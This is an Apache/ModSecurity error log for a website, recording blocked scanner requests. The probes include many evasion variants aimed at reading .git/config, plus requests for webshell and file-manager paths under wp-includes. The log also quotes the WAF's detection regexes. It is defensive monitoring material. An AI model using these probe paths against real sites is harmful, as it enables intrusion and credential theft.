[Wed Nov 26 01:21:44.420631 2025] [:error] [pid 28739:tid 28764] [client 213.21.239.4:57722] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git/config;"] [unique_id "aSXlqBxGpKmlkG4FexT9VQAAAgI"]
[Wed Nov 26 01:21:44.432347 2025] [:error] [pid 28739:tid 28774] [client 213.21.239.4:57944] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/..;/.git/config"] [unique_id "aSXlqBxGpKmlkG4FexT9VwAAAgw"]
[Wed Nov 26 01:21:44.434285 2025] [:error] [pid 14077:tid 14114] [client 213.21.239.4:57540] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/prod/.git/config"] [unique_id "aSXlqBG9n7UHEkwDTygKWAAAAEQ"]
[Wed Nov 26 01:21:44.436104 2025] [:error] [pid 28739:tid 28779] [client 213.21.239.4:57914] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/public/.git/config"] [unique_id "aSXlqBxGpKmlkG4FexT9WAAAAhE"]
[Wed Nov 26 01:21:44.441252 2025] [:error] [pid 43843:tid 43866] [client 213.21.239.4:57756] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git/config;.."] [unique_id "aSXlqBhx4v3NUNdMKDMlXAAAAdU"]
[Wed Nov 26 01:21:44.443632 2025] [:error] [pid 28609:tid 28625] [client 213.21.239.4:57988] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au../config"] [unique_id "aSXlqCGGdT-nZJVs3x0voAAAAYc"]
[Wed Nov 26 01:21:44.454498 2025] [:error] [pid 28836:tid 29008] [client 213.21.239.4:57976] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git/config"] [unique_id "aSXlqJwNRsoxcLQGkTciPgAAAtI"]
[Wed Nov 26 01:21:44.455452 2025] [:error] [pid 28609:tid 28621] [client 213.21.239.4:57744] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git/%0Aconfig"] [unique_id "aSXlqCGGdT-nZJVs3x0vogAAAYM"]
[Wed Nov 26 01:21:44.464743 2025] [:error] [pid 43843:tid 43849] [client 213.21.239.4:57958] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/qa/.git/config"] [unique_id "aSXlqBhx4v3NUNdMKDMlXwAAAcQ"]
[Wed Nov 26 01:21:44.465246 2025] [:error] [pid 14168:tid 14190] [client 213.21.239.4:58000] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/config"] [unique_id "aSXlqPR-ZDU0QEgAIIvCIQAAANM"]
[Wed Nov 26 01:21:46.381568 2025] [:error] [pid 14078:tid 14159] [client 213.21.239.4:58028] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.git;/config"] [unique_id "aSXlqtVXYbb0ii_rVoLpGwAAAJY"]
[Wed Nov 26 01:21:46.388465 2025] [:error] [pid 14078:tid 14146] [client 213.21.239.4:58016] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config;.."] [unique_id "aSXlqtVXYbb0ii_rVoLpHgAAAIk"]
[Wed Nov 26 01:21:46.388839 2025] [:error] [pid 14078:tid 14156] [client 213.21.239.4:58032] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/;/.git/config"] [unique_id "aSXlqtVXYbb0ii_rVoLpHwAAAJM"]
[Wed Nov 26 01:21:46.401400 2025] [:error] [pid 28739:tid 28769] [client 213.21.239.4:58046] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config;"] [unique_id "aSXlqhxGpKmlkG4FexT9WwAAAgc"]
[Wed Nov 26 01:21:46.427353 2025] [:error] [pid 14078:tid 14144] [client 213.21.239.4:58108] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/.git;/config"] [unique_id "aSXlqtVXYbb0ii_rVoLpIgAAAIc"]
[Wed Nov 26 01:21:46.438853 2025] [:error] [pid 43981:tid 43990] [client 213.21.239.4:58130] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config"] [unique_id "aSXlqggZn97m_qh_RaGcugAAAwc"]
[Wed Nov 26 01:21:46.441825 2025] [:error] [pid 14078:tid 14161] [client 213.21.239.4:58150] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/../config"] [unique_id "aSXlqtVXYbb0ii_rVoLpIwAAAJg"]
[Wed Nov 26 01:21:46.468926 2025] [:error] [pid 28836:tid 29009] [client 213.21.239.4:58168] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au../config"] [unique_id "aSXlqpwNRsoxcLQGkTciQgAAAtM"]
[Wed Nov 26 01:21:46.504248 2025] [:error] [pid 2987:tid 2991] [client 213.21.239.4:58226] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/measureyourbrand.com.au/config"] [unique_id "aSXlqs-djEt-pTzPxnwFZwAAAUI"]
[Wed Nov 26 01:21:47.388785 2025] [:error] [pid 14078:tid 14157] [client 213.21.239.4:58324] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/staging/.git/config"] [unique_id "aSXlq9VXYbb0ii_rVoLpJwAAAJQ"]
[Wed Nov 26 01:21:47.391212 2025] [:error] [pid 28609:tid 28631] [client 213.21.239.4:58300] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/web/.git/config"] [unique_id "aSXlqyGGdT-nZJVs3x0vpAAAAY0"]
[Wed Nov 26 01:21:47.394257 2025] [:error] [pid 28739:tid 28771] [client 213.21.239.4:58260] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/static../.git/config"] [unique_id "aSXlqxxGpKmlkG4FexT9XgAAAgk"]
[Wed Nov 26 01:21:47.398482 2025] [:error] [pid 43981:tid 43985] [client 213.21.239.4:58290] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/uat/.git/config"] [unique_id "aSXlqwgZn97m_qh_RaGcuwAAAwI"]
[Wed Nov 26 01:21:47.407845 2025] [:error] [pid 43981:tid 44001] [client 213.21.239.4:58356] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/.git/config"] [unique_id "aSXlqwgZn97m_qh_RaGcvAAAAxI"]
[Wed Nov 26 01:21:47.422118 2025] [:error] [pid 28836:tid 28986] [client 213.21.239.4:58404] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/.git/config"] [unique_id "aSXlq5wNRsoxcLQGkTciSgAAAs8"]
[Wed Nov 26 01:21:47.438318 2025] [:error] [pid 28836:tid 28955] [client 213.21.239.4:58346] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/.git/config"] [unique_id "aSXlq5wNRsoxcLQGkTciTgAAAsA"]
[Wed Nov 26 01:21:47.441128 2025] [:error] [pid 28836:tid 29011] [client 213.21.239.4:58350] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/static../.git/config"] [unique_id "aSXlq5wNRsoxcLQGkTciUAAAAtU"]
[Wed Nov 26 01:21:48.453363 2025] [:error] [pid 14078:tid 14161] [client 213.21.239.4:58476] [client 213.21.239.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.git;/config"] [unique_id "aSXlrNVXYbb0ii_rVoLpKwAAAJg"]
[Wed Nov 26 01:31:22.028907 2025] [:error] [pid 14077:tid 14131] [client 182.42.111.156:43817] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSXn6hG9n7UHEkwDTygMpwAAAFU"]
[Wed Nov 26 02:41:21.001182 2025] [:error] [pid 14076:tid 14085] [client 54.173.250.15:55052] [client 54.173.250.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSX4UXsB4Gz6Qw-pvBuXLwAAAAQ"]
[Wed Nov 26 10:33:38.186286 2025] [:error] [pid 34744:tid 34817] [client 43.132.214.228:33394] [client 43.132.214.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSZnAktgOvVbhyALkTTQWgAAAY4"]
[Wed Nov 26 13:16:16.744370 2025] [ssl:error] [pid 34830:tid 34834] [client 15.204.182.106:61696] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://measureyourbrand.com/
[Wed Nov 26 13:29:40.719471 2025] [autoindex:error] [pid 45901:tid 45908] [client 139.59.30.253:65016] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 26 14:59:43.322670 2025] [ssl:error] [pid 34744:tid 34818] [client 15.204.182.106:23196] AH02032: Hostname www.measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://www.measureyourbrand.com/
[Wed Nov 26 15:10:09.050865 2025] [:error] [pid 34830:tid 34838] [client 23.129.64.168:48230] [client 23.129.64.168] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "175.117.144.122_b742d84162aa3e9be8e90441f7b9c8498c0b90e9"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php/AutomatedBusinessLanding/verification"] [unique_id "aSanzkukvkWgWN6jCR23WgAAAAY"], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Wed Nov 26 16:00:13.209092 2025] [:error] [pid 45685:tid 45754] [client 43.130.34.74:33800] [client 43.130.34.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSazjVj3f_NRdgU0DQ6lQgAAAQw"]
[Wed Nov 26 18:17:23.482089 2025] [:error] [pid 45684:tid 45716] [client 84.17.35.112:56758] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSbTs_g5LMxwI4-PD1cueAAAAAE"]
[Wed Nov 26 18:17:24.532190 2025] [:error] [pid 45684:tid 45726] [client 84.17.35.112:39022] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSbTtPg5LMxwI4-PD1cufgAAAAs"]
[Wed Nov 26 18:17:27.666600 2025] [:error] [pid 45684:tid 45729] [client 84.17.35.112:39038] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSbTt_g5LMxwI4-PD1cuhQAAAA4"]
[Wed Nov 26 18:17:28.714689 2025] [:error] [pid 45685:tid 45752] [client 84.17.35.112:39052] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSbTuFj3f_NRdgU0DQ7KBwAAAQo"]
[Wed Nov 26 18:17:30.396229 2025] [:error] [pid 45684:tid 45736] [client 84.17.35.112:39060] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSbTuvg5LMxwI4-PD1cujAAAABU"]
[Wed Nov 26 18:17:31.022872 2025] [:error] [pid 45684:tid 45733] [client 84.17.35.112:39082] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSbTu_g5LMxwI4-PD1cujgAAABI"]
[Wed Nov 26 18:17:31.436359 2025] [:error] [pid 6471:tid 6490] [client 84.17.35.112:44100] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSbTu-h3Z9TZLlRuTiN8PAAAAJA"]
[Wed Nov 26 18:17:31.848382 2025] [:error] [pid 20733:tid 20758] [client 84.17.35.112:44114] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aSbTuwV9EP2HuRvnH8dJVwAAANc"]
[Wed Nov 26 18:17:32.260770 2025] [:error] [pid 46443:tid 46445] [client 84.17.35.112:44118] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSbTvMLmDsnHrj-QFB_L7AAAAEA"]
[Wed Nov 26 18:17:32.674271 2025] [:error] [pid 45684:tid 45723] [client 84.17.35.112:44132] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aSbTvPg5LMxwI4-PD1cukgAAAAg"]
[Wed Nov 26 18:17:33.304192 2025] [:error] [pid 46443:tid 46463] [client 84.17.35.112:44146] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aSbTvcLmDsnHrj-QFB_L8QAAAFI"]
[Wed Nov 26 18:17:34.137534 2025] [:error] [pid 6471:tid 6498] [client 84.17.35.112:44166] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aSbTvuh3Z9TZLlRuTiN8QAAAAJg"]
[Wed Nov 26 18:17:34.974769 2025] [:error] [pid 6471:tid 6476] [client 84.17.35.112:44174] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSbTvuh3Z9TZLlRuTiN8RQAAAII"]
[Wed Nov 26 18:17:35.597391 2025] [:error] [pid 6471:tid 6489] [client 84.17.35.112:44182] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aSbTv-h3Z9TZLlRuTiN8SQAAAI8"]
[Wed Nov 26 18:17:36.219620 2025] [:error] [pid 46443:tid 46446] [client 84.17.35.112:44188] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSbTwMLmDsnHrj-QFB_L-QAAAEE"]
[Wed Nov 26 18:17:37.897193 2025] [:error] [pid 6471:tid 6477] [client 84.17.35.112:44216] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSbTweh3Z9TZLlRuTiN8UgAAAIM"]
[Wed Nov 26 18:17:38.532029 2025] [:error] [pid 45769:tid 45789] [client 84.17.35.112:44222] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aSbTwldG5Eht9c3yy4MVjQAAAdE"]
